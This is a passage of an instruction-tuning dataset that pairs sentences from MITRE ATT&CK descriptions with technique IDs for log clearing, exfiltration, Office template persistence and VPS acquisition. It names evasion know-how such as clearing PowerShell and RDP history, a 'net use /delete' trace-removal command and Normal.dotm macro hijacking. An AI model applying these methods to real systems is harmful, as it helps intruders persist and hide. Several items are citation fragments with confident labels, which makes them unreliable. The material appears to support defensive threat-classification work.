<code>ConsoleHost_history.txt</code> file. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133).", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network connection history may be stored in various locations.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network connection history may be stored in various locations. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation:", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Moran RDPieces)", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Moran RDPieces) ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090).", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.", "output": "T1070.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis. ### Response: T1070.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed.", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command.", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Technet Net Use)", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Technet Net Use) ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also opt to encrypt and/or obfuscate these alternate channels.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also opt to encrypt and/or obfuscate these alternate channels. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016)", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009). ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES)", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "vice using mechanisms that are baked into a protocol.", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: vice using mechanisms that are baked into a protocol. ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).", "output": "T1048.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ### Response: T1048.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Microsoft Office-based applications for persistence between startups.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Microsoft Office-based applications for persistence between startups. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Ruler GitHub)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Ruler GitHub) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These persistence mechanisms can work within Outlook or be used through Office 365.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet O365 Outlook Rules)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet O365 Outlook Rules) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office contains templates that are part of common Office applications and are used to customize styles.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office contains templates that are part of common Office applications and are used to customize styles. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The base templates within the application are used each time an application starts.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The base templates within the application are used each time an application starts. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples for both Word and Excel have been discovered and published.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples for both Word and Excel have been discovered and published. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, Word has a Normal.dotm template created that can be modified to include a malicious macro.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation:", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Word Normal.dotm", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Word Normal.dotm ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There exist a variety of cloud service providers that will sell virtual machines/containers as a service.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There exist a variety of cloud service providers that will sell virtual machines/containers as a service. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage information repositories to 